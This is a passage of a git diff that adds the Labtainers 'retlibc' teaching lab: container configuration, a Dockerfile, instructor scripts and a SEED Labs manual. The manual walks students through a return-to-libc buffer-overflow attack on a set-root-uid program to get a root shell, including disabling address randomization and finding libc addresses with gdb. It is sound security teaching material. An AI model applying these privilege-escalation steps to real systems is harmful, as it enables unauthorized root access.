assiged a name, a mask and gateway, as in the following example: +# +# NETWORK DMZ_LINK +# MASK 172.25.0.0/24 +# GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER retlibc + # user name of user who interacts with the container. + USER ubuntu + # cause ~/instructions.txt to display, if it exists + #XTERM INSTRUCTIONS + # + # The number of terminals defaults to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + # + # Script name passed to the Docker start command. This defaults to bash, which is used + # by most Ubuntu-based labtainers. The CENTOS containers should pass a value of "NONE" + # because they will start with the /usr/sbin/init. + # SCRIPT NONE + # + # Host names to add to /etc/hosts, may be multiple + # ADD-HOST host:ip + # + # Mount Linux host X11 server socket for use by GUI-app in container. + # X11 YES + # + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/dockerfiles/Dockerfile.retlibc.retlibc.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/dockerfiles/Dockerfile.retlibc.retlibc.student new file mode 100644 index 000000000..8e529e3b4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/dockerfiles/Dockerfile.retlibc.retlibc.student @@ -0,0 +1,63 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.base +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends zsh +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/docs/Figs/enter_leave_foo.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/docs/Figs/enter_leave_foo.pdf new file mode 100755 index 000000000..c11bfb82e Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/docs/Figs/enter_leave_foo.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/docs/Makefile new file mode 100644 index 000000000..6529fc917 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/docs/Makefile @@ -0,0 +1,8 @@ +retlibc.pdf: Return_to_libc.tex header.tex + latex Return_to_libc + pdflatex -jobname=retlibc Return_to_libc + pdflatex -jobname=retlibc Return_to_libc + +clean: + rm -fr auto + rm -f *.aux *.log *.pdf *.dvi *.out diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/docs/Return_to_libc.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/docs/Return_to_libc.tex new file mode 100644 index 000000000..ec0090daa --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/docs/Return_to_libc.tex @@ -0,0 +1,522 @@ +\input{header} + +%\documentclass{article} +%\usepackage{graphicx} +%\usepackage{color} +%\usepackage[latin1]{inputenc} +%\usepackage{lgrind} +%\input {highlight.sty} + +\lhead{\bfseries SEED Labs -- Return-to-libc Attack Lab} + + +\def \code#1 {\fbox{\scriptsize{\texttt{#1}}}} + +\begin{document} + +\begin{center} +{\LARGE Return-to-libc Attack Lab} +\end{center} + +\copyrightnotice + +\section{Lab Overview} +The learning objective of this lab is for students to gain +first-hand experience with a variant of the buffer-overflow +attack; this attack can bypass a protection scheme currently +implemented in major Linux operating systems. A common way to exploit +a buffer-overflow vulnerability is to overflow the buffer with +malicious shellcode, and then cause the vulnerable program to jump to +the shellcode that is stored in the stack. To prevent these types of +attacks, some operating systems provide an ability +to make stacks non-executable; therefore, jumping to +the shellcode will cause the program to fail. + +Unfortunately, the above protection scheme is not fool-proof; there +exists a variant of buffer-overflow attack called the {\tt + return-to-libc} attack, which does not need an executable stack; it +does not even use shell code. Instead, it causes the vulnerable +program to jump to some existing code, such as the {\tt system()} +function in the {\tt libc} library, which is already loaded into the +memory. + +In this lab, students are given a program with a buffer-overflow +vulnerability; their task is to develop a {\tt return-to-libc} attack +to exploit the vulnerability and finally to gain the root privilege. +In addition to the attacks, students will be guided to walk through +several protection schemes that have been implemented in Ubuntu to +counter against the buffer-overflow attacks. Students need to evaluate +whether the schemes work or not and explain why. +\section{Lab Environment} +This lab runs in the Labtainer framework, +available at http://my.nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer retlibc +\end{verbatim} +Links to this lab manual and to an empty lab report will be displayed. If you create your lab report on a separate system, +be sure to copy it back to the specified location on your Linux system. + + +\section{Lab Tasks} +You are required to exploit the "retlib" program. You are provided the +source code to the program, but you are not to alter the program source code. + +\subsection{Initial Setup} + +\paragraph{Address Space Randomization.} +\ubuntu and several other Linux-based systems uses address space +randomization to randomize the starting address of heap and +stack. This makes guessing the exact addresses difficult; guessing +addresses is one of the critical steps of buffer-overflow attacks. In +this lab, we disable this feature using the following command: + +\begin{verbatim} + sudo sysctl -w kernel.randomize_va_space=0 +\end{verbatim} + + +\paragraph{The StackGuard Protection Scheme.} +The GCC compiler implements a security mechanism called +"Stack Guard" to prevent buffer overflows. In the presence of this +protection, buffer overflows will fail. You can disable this +protection if you compile the program using the +\emph{-fno-stack-protector} switch. For example, to compile a program +example.c with Stack Guard disabled, you may use the following command: +\begin{verbatim} + $ gcc -m32 -fno-stack-protector example.c +\end{verbatim} + +The retlib program was compiled without StackGuard. + +\paragraph{Non-Executable Stack.} \ubuntu used to allow executable stacks, +but this has now changed: the binary images of programs (and shared +libraries) must declare whether they require executable stacks or not, +i.e., they need to mark a field in the program header. The kernel or dynamic +linker uses this marking to decide whether to make the stack of this +running program executable or non-executable. This marking is done +automatically by the recent versions of {\tt gcc}, and by default, the +stack is set to be non-executable. +To change that, use the following option when compiling programs: +\begin{verbatim} + For executable stack: + $ gcc -m32 -z execstack -o test test.c + + For non-executable stack: + $ gcc -m32 -z noexecstack -o test test.c +\end{verbatim} + + +Because the objective of this lab is to show that the non-executable stack +protection does not work, the retlib program was compiled with the +{\tt "-z noexecstack"} option. + + +\paragraph {Note for Instructors:} +For this lab, a lab session is desirable, especially if students are +not familiar with the tools and the enviornments. If an instructor +plans to hold a lab session (by himself/herself or by a TA), it +is suggested the following to be covered in the +lab session~\footnote{We assume that the instructor has already covered +the concepts of the attacks in the lecture, so we do not include +them in the lab session.}: +\begin{enumerate} + \item The use of Labtainers. + + \item Basic use of {\tt gdb} debug commands and stack stucture. + +\end{enumerate} + +Review the retlib.c program. +It has a buffer overflow vulnerability. It first reads +an input of size 80 bytes from a file called ``badfile'' into a buffer +that is smaller than 80 bytes, causing the overflow. The function fread() does not check +boundaries, so a buffer overflow will occur. Since this program is a +set-root-uid program, if a normal user can exploit this buffer +overflow vulnerability, the normal user might be able to get a root +shell. It should be noted that the program gets its input from a file +called ``badfile''. This file is under the users' control. Our +objective is to create the contents for ``badfile'', such that when +the vulnerable program copies the contents into its buffer, a root +shell can be spawned. + +\subsection{Task 1: Exploiting the Vulnerability} +Create the \textbf{badfile}. Your home directory includes an "exploit.c" program +that you can modify in order to create the badfile. + +You need to figure out the values for the addresses in that program, as well +as where to store those addresses. If you incorrectly calculate +the locations, your attack might not work. + +After you modify the exploit.c program, compile using \texttt{compile\_exploit.sh} +and run it; this will +generate the contents for ``badfile''. Run the vulnerable program {\tt + retlib}. If your exploit is implemented correctly, when the function +{\tt bof} returns, it will return to the {\tt system()} libc function, +and execute {\tt system("/bin/sh")}. If the vulnerable program is +running with the root privilege, you can get the root shell at this +point. + +It should be noted that the {\tt exit()} function is not very +necessary for this attack; however, without this function, when {\tt + system()} returns, the program might crash, causing suspicions. + +\begin{verbatim} + $ ./compile_exploit.sh + $./exploit // create the badfile + $./retlib // launch the attack by running the vulnerable program + # <---- You've got a root shell! +\end{verbatim} + + +\paragraph{Questions.} In your report, please answer the following questions: +\begin{itemize} +\item Please describe how you decide the values for {\tt X}, {\tt Y} and {\tt +Z}. Either show us your reasoning, or if you use trial-and-error approach, +show your trials. + +\item After your attack is successful, change the file name of {\tt retlib} +to a different name, making sure that the length of the file names are +different. For example, you can change it to {\tt newretlib}. Repeat the +attack (without changing the content of {\tt badfile}). Is your attack +successful or not? If it does not succeed, explain why. + +\end{itemize} + + +\subsection{Task 2: Address Randomization} + +In this task, let us turn on the Ubuntu's address randomization protection. +We run the same attack developed in Task 1. Can you get a shell? If not, +what is the problem? How does the address randomization +make your return-to-libc attack difficult? +You should describe your observation and explanation +in your lab report. You can use the following instructions to turn +on the address randomization: + +\begin{verbatim} + sudo sysctl -w kernel.randomize_va_space=2 +\end{verbatim} + + + +\subsection{Task 3: Stack Guard Protection} + +In this task, let us turn on the Ubuntu's Stack Guard protection. +Please remember to turn off the address randomization protection. +We run the same attack developed in Task 1. Can you get a shell? If not, +what is the problem? How does the Stack Guard protection +make your return-to-libc attack difficult? +You should describe your observation and explanation +in your lab report. You can use the following instructions to compile +your program with the Stack Guard protection turned on. + +\begin{verbatim} + sudo su + # gcc -m32 -z noexecstack -o retlib retlib.c + # chmod 4755 retlib + # exit +\end{verbatim} + + +\section{Guidelines: Understanding the function call mechanism} + +\subsection{Find out the addresses of libc functions} + +To find out the address of any libc function, you can use the following +{\tt gdb} commands ({\tt a.out} is an arbitrary program): +\begin{verbatim} + $ gdb a.out + + (gdb) b main + (gdb) r + (gdb) p system + $1 = {} 0x9b4550 + (gdb) p exit + $2 = {} 0x9a9b70 +\end{verbatim} + +From the above {\tt gdb} commands, we can find out that the address +for the {\tt system()} function is {\tt 0x9b4550}, and the address +for the {\tt exit()} function is {\tt 0x9a9b70}. The actual addresses +in your system might be different from these numbers. + + +\subsection{Putting the shell string in the memory} + +One of the challenge in this lab is to put the string {\tt "/bin/sh"} +into the memory, and get its address. This can be achieved using +environment variables. +When a C program is executed, it inherits all the environment variables from +the shell that executes it. The environment variable \textbf{SHELL} points +directly to \texttt{/bin/bash} and is needed by other programs, so we introduce +a new shell variable \textbf{MYSHELL} and make it point to \texttt{zsh} \\ + +\begin{verbatim} + $ export MYSHELL=/bin/sh +\end{verbatim} + +We will use the address of this variable as an argument to {\tt system()} call. +The location of this variable in the memory can be found out easily using the +following program: +\begin{verbatim} + void main(){ + char* shell = getenv("MYSHELL"); + if (shell) + printf("%x\n", (unsigned int)shell); + } +\end{verbatim} + +If the address randomization is turned off, you will find out that the same +address is printed out. However, when you run the +vulnerabile program {\tt retlib}, the address of the environment +variable might not be exactly the same as the one that you get by running +the above program; such an address can even change when you change +the name of your program (the number of characters in the file +name makes difference). The good news is, the address of the shell will +be quite close to what you print out using the above program. Therefore, +you might need to try a few times to succeed. + + +\subsection{Understand the Stack} + +To know how to conduct the {\tt return-to-libc} attack, it is essential to +understand how the stack works. We use a small C program to understand +the effects of a function invocation on the stack. +\begin{verbatim} +/* foobar.c */ +#include +void foo(int x) +{ + printf("Hello world: %d\n", x); +} + +int main() +{ + foo(1); + return 0; +} +\end{verbatim} +We can use {\tt "gcc -m32 -S foobar.c"} to +compile this program to the assembly code. +The resulting file {\tt foobar.s} will look like the following: +\begin{verbatim} + ...... + 8 foo: + 9 pushl %ebp + 10 movl %esp, %ebp + 11 subl $8, %esp + 12 movl 8(%ebp), %eax + 13 movl %eax, 4(%esp) + 14 movl $.LC0, (%esp) : string "Hello world: %d\n" + 15 call printf + 16 leave + 17 ret + ...... + 21 main: + 22 leal 4(%esp), %ecx + 23 andl $-16, %esp + 24 pushl -4(%ecx) + 25 pushl %ebp + 26 movl %esp, %ebp + 27 pushl %ecx + 28 subl $4, %esp + 29 movl $1, (%esp) + 30 call foo + 31 movl $0, %eax + 32 addl $4, %esp + 33 popl %ecx + 34 popl %ebp + 35 leal -4(%ecx), %esp + 36 ret +\end{verbatim} + +\subsection{Calling and Entering {\tt foo()}} + +Let us concentrate on the stack while calling {\tt foo()}. We can ignore the stack +before that. Please note that line numbers instead of instruction addresses are +used in this explanation. + +\begin{figure}[t] + \begin{center} + \includegraphics[width=0.9\textwidth,natwidth=621,natheight=403]{Figs/enter_leave_foo.pdf} + \end{center} + \caption{Entering and Leaving {\tt foo()}} + \label{fig:enter_leave_foo} +\end{figure} + + + +\begin{itemize} +\item \textbf{Line 28-29:}: +These two statements push the value $1$, i.e. the argument to the {\tt foo()}, +into the stack. This operation increments {\tt \%esp} by four. The stack +after these two statements is depicted in Figure~\ref{fig:enter_leave_foo}(a). + +\item \textbf{Line 30: \texttt{call foo}}: +The statement pushes the address of the next instruction that +immediately follows the {\tt call} statement into the +stack (i.e the return address), and then jumps to the +code of {\tt foo()}. +The current stack is depicted in Figure~\ref{fig:enter_leave_foo}(b). + +\item \textbf{Line 9-10}: +The first line of the function {\tt foo()} pushes {\tt \%ebp} into +the stack, to save the previous frame pointer. The second +line lets {\tt \%ebp} point to the current frame. The current stack +is depicted in Figure~\ref{fig:enter_leave_foo}(c). + +\item \textbf{Line 11: \texttt{subl \$8, \%esp}}: +The stack pointer is modified to allocate space (8 bytes) for +local variables and the two arguments passed to {\tt printf}. +Since there is no local variable in function {\tt foo}, the +8 bytes are for arguments only. +See Figure~\ref{fig:enter_leave_foo}(d). + +\end{itemize} + + +\subsection{Leaving {\tt foo()}} + +Now the control has passed to the function {\tt foo()}. Let us see what happens +to the stack when the function returns. + +\begin{itemize} +\item \textbf{Line 16: \texttt{leave}}: This +instruction implicitly performs two instructions (it was a macro +in earlier x86 releases, but was made into an instruction later): +\begin{verbatim} + mov %ebp, %esp + pop %ebp +\end{verbatim} +The first statement release the stack space allocated for the function; +the second statement recover the previous frame pointer. +The current stack is depicted in Figure~\ref{fig:enter_leave_foo}(e). + +\item \textbf{Line 17: \texttt{ret}}: This instruction simply pops the return +address out of the stack, and then jump to the return address. +The current stack is depicted in Figure~\ref{fig:enter_leave_foo}(f). + +\item \textbf{Line 32: \texttt{addl \$4, \%esp}}: Further resotre the stack by +releasing more memories allocated for {\tt foo}. +As you can clearly see that the stack is now in exactly the same state as it was +before entering the function {\tt foo} (i.e., before line 28). +\end{itemize} + + +%\subsection{Brief description of system() call} +%The function call mechanism described above differs slightly from the system call mechanism. The exact procedure varies with the libc library, the kernel version and even the distribution you are using. The call mechanism on Fedora Core 4(and 5) using libc version 2.3.5 is explained here (You can find the libc version by typing \texttt{/lib/libc.so.6} at the prompt). + +%The system() function is not called directly, the lookup functions are called first, but for the purpose of simplicity, we will ignore those details and jump right into system() code: +%\begin{verbatim} +%/* source/sysdeps/posix/system.c */ +%int +%__libc_system (const char *line) +%{ +% if (line == NULL) +% return do_system ("exit 0") == 0; +% +% if (SINGLE_THREAD_P) +% return do_system (line); +% +% int oldtype = LIBC_CANCEL_ASYNC (); +% +% int result = do_system (line); +% +% LIBC_CANCEL_RESET (oldtype); +% +% return result; +%} +%weak_alias (__libc_system, system) +% +%\end{verbatim} +%We can see that system() is an alias of \texttt{\_\_libc\_system}. The macro \texttt{weak\_alias} takes care of lower level type checking and other functionalities provided by GCC's \texttt{\_\_attribute\_\_} method. We can see that the function \texttt{do\_system()} does most of system's work. It will be sufficient to see whether the location of data before the call to do\_system() still satisfies the assumptions necessary for the success of our attack. . Lets see the assembly code for system: +%\begin{verbatim} +%0x0032a3df : push %edi +%0x0032a3e0 : push %esi +%0x0032a3e1 : push %ebx +%0x0032a3e2 : call 0x309c60 <__i686.get_pc_thunk.bx> +%0x0032a3e7 : add $0xf0c0d,%ebx +%0x0032a3ed : mov 0x10(%esp),%edi +%0x0032a3f1 : test %edi,%edi +%0x0032a3f3 : je 0x32a409 +%0x0032a3f5 : mov %gs:0xc,%eax +%0x0032a3fb : test %eax,%eax +%0x0032a3fd : jne 0x32a422 +%0x0032a3ff : mov %edi,%eax +%0x0032a401 : pop %ebx +%0x0032a402 : pop %esi +%0x0032a403 : pop %edi +%0x0032a404 : jmp 0x329f3c +% +%\end{verbatim} +%Consider the following sample program used for testing purposes: +%\begin{verbatim} +%#include +%void mysys(char *x) +%{ +% char c[5]; +% system("/bin/sh"); +% c[2]='s'; +%} +%int main() +%{ +% mysys("hello"); +%} +%\end{verbatim} +% +%Let us inspect the data, before jumping to \texttt{do\_system()}, in the assembly +%code of system. The following GDB log entries might be helpful: +% +%\begin{verbatim} +% 1 0x0032a404 in system () from /lib/libc.so.6 +% 2 (gdb) x $esp+4 +% 3 0xbffff800: 0x0804846c +% 4 (gdb) x/s 0x0804846c +% 5 0x804846c <_IO_stdin_used+4>: "/bin/sh" +% 6 (gdb) x/x $ebp+4 +% 7 0xbffff82c: 0x080483c1 +% 8 (gdb) disassemble main +% 9 Dump of assembler code for function main: +% 10 0x08048398 : push %ebp +% 11 0x08048399 : mov %esp,%ebp +% 12 0x0804839b : sub $0x8,%esp +% 13 0x0804839e : and $0xfffffff0,%esp +% 14 0x080483a1 : mov $0x0,%eax +% 15 0x080483a6 : add $0xf,%eax +% 16 0x080483a9 : add $0xf,%eax +% 17 0x080483ac : shr $0x4,%eax +% 18 0x080483af : shl $0x4,%eax +% 19 0x080483b2 : sub %eax,%esp +% 20 0x080483b4 : sub $0xc,%esp +% 21 0x080483b7 : push $0x8048474 +% 22 0x080483bc : call 0x804837c +% 23 0x080483c1 : add $0x10,%esp +% 24 0x080483c4 : leave +% 25 0x080483c5 : ret +% 26 End of assembler dump. +%\end{verbatim} + +%Looking at the disassembly of the main function we can quite clearly see that the return address for the function \texttt{mysys()} is \texttt{0x08048c1}. We know that the this return address is stored in address next to the frame pointer, which is stored in EBP. Line 6 above shows that this indeed is the case, but why isn't the frame pointer changed? The reason is that; on FC4 and 5, the system() call spawns a new process, and execs the shell along with the parameter supplied to it. So since that process is a mirror image of the original program, it retains the old registers and frame pointers. +% +%Line 2 through 5 shows the presence of the string "/bin/sh" on the stack. Hence we quite clearly see that structure of the attack should not change when attacking the library calls. The stack may be displaced but the structure is essentially similar. + + +\begin{thebibliography}{10} + +\bibitem{c0ntext} +c0ntext +\newblock Bypassing non-executable-stack during exploitation using return-to-libc +\newblock http://www.infosecwriters.com/text\_resources/pdf/return-to-libc.pdf + +\bibitem{Phrack} +Phrack by Nergal +\newblock Advanced return-to-libc exploit(s) +\newblock {\em Phrack 49}, Volume 0xb, Issue 0x3a. Available at + http://www.phrack.org/archives/58/p58-0x04 +\end{thebibliography} +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/docs/header.tex new file mode 100644 index 000000000..feb73a788 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/docs/header.tex @@ -0,0 +1,193 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +%\usepackage{cases} +%\usepackage{ltexpprt} +%\usepackage{verbatim} + +%\topmargin -0.70in % distance to headers +%\headheight 0.2in % height of header box +%\headsep 0.4in % distance to top line +%\footskip 0.3in % distance from bottom line + +% Horizontal alignment +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small Copyright \copyright\ 2014\ \ Wenliang Du, Syracuse University.\\ + The development of this document is/was funded by the following grants from + the US National Science Foundation: No. 1303306 and 1318814. + This lab was imported into the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under National Science + Foundation Award No. 1438893. + Permission is granted to copy, distribute and/or modify this document + under the terms of the GNU Free Documentation License, Version 1.2 + or any later version published by the Free Software Foundation. + A copy of the license can be found at http://www.gnu.org/licenses/fdl.html.}} +\vspace{0.1in} +} + +\newcommand{\copyrightnoticeA}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small Copyright \copyright\ 2006\ \ Wenliang Du, Syracuse University.\\ + The development of this document was partially funded by + the National Science Foundation's Course, Curriculum, and Laboratory + Improvement (CCLI) program under Award No. 0618680 and 0231122. + Permission is granted to copy, distribute and/or modify this document + under the terms of the GNU Free Documentation License, Version 1.2 + or any later version published by the Free Software Foundation. + A copy of the license can be found at http://www.gnu.org/licenses/fdl.html.}} +\vspace{0.1in} +} + + +\newcommand{\nocopyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small + The development of this document is funded by + the National Science Foundation's Course, Curriculum, and Laboratory + Improvement (CCLI) program under Award No. 0618680 and 0231122. + Permission is granted to copy, distribute and/or modify this document. + }} +\vspace{0.1in} +} + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\minix}{{\tt Minix}\xspace} +\newcommand{\unix}{{\tt Unix}\xspace} +\newcommand{\linux}{{\tt Linux}\xspace} +\newcommand{\ubuntu}{{\tt Ubuntu}\xspace} +\newcommand{\selinux}{{\tt SELinux}\xspace} +\newcommand{\freebsd}{{\tt FreeBSD}\xspace} +\newcommand{\solaris}{{\tt Solaris}\xspace} +\newcommand{\windowsnt}{{\tt Windows NT}\xspace} +\newcommand{\setuid}{{\tt Set-UID}\xspace} +%\newcommand{\smx}{{\tt Smx}\xspace} +\newcommand{\smx}{{\tt Minix}\xspace} +\newcommand{\relay}{{\tt relay}\xspace} +\newcommand{\isys}{{\tt iSYS}\xspace} +\newcommand{\ilan}{{\tt iLAN}\xspace} +\newcommand{\iSYS}{{\tt iSYS}\xspace} +\newcommand{\iLAN}{{\tt iLAN}\xspace} +\newcommand{\iLANs}{{\tt iLAN}s\xspace} +\newcommand{\bochs}{{\tt Bochs}\xspace} + +\newcommand\FF{{\mathcal{F}}} + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +%\pagestyle{fancyplain} +%\lhead[\thepage]{\thesection} % Note the different brackets! +%\rhead[\thesection]{SEED Laboratories} +%\lfoot[\fancyplain{}{}]{Syracuse University} +%\cfoot[\fancyplain{}{}]{\thepage} + +\newcommand{\tstamp}{\today} +%\lhead[\fancyplain{}{\thepage}] {\fancyplain{}{\rightmark}} +%\chead[\fancyplain{}{}] {\fancyplain{}{}} +%\rhead[\fancyplain{}{\rightmark}] {\fancyplain{}{\thepage}} +%\lfoot[\fancyplain{}{}] {\fancyplain{\tstamp}{\tstamp}} +%\cfoot[\fancyplain{\thepage}{}] {\fancyplain{\thepage}{}} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +%\lhead{\bfseries Computer Security Course Project} +\lhead{\bfseries SEED Labs} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/docs/read_first.txt new file mode 100644 index 000000000..d7fe41ba3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/docs/read_first.txt @@ -0,0 +1,8 @@ +The lab manual is at + file://LAB_DOCS/retlibc.pdf +A lab report template is at + file://LAB_DOCS/retlibc-report.docx + +You may open these by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/instr_config/goals.config new file mode 100644 index 000000000..e0d29c869 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/instr_config/goals.config @@ -0,0 +1,3 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/instr_config/pregrade.sh new file mode 100755 index 000000000..2d6b93ed2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/instr_config/pregrade.sh @@ -0,0 +1,40 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +echo $is_sqlite +here=`pwd` +places=$here/.mozilla/firefox/*default/places.sqlite +for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi +done + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/instr_config/results.config new file mode 100644 index 000000000..1b0d5b1cf --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/instr_config/results.config @@ -0,0 +1,5 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +#DOC: student got root access +got_root = retlib.stdout : CONTAINS : # diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/retlibc/retlibc/_bin/fixlocal.sh 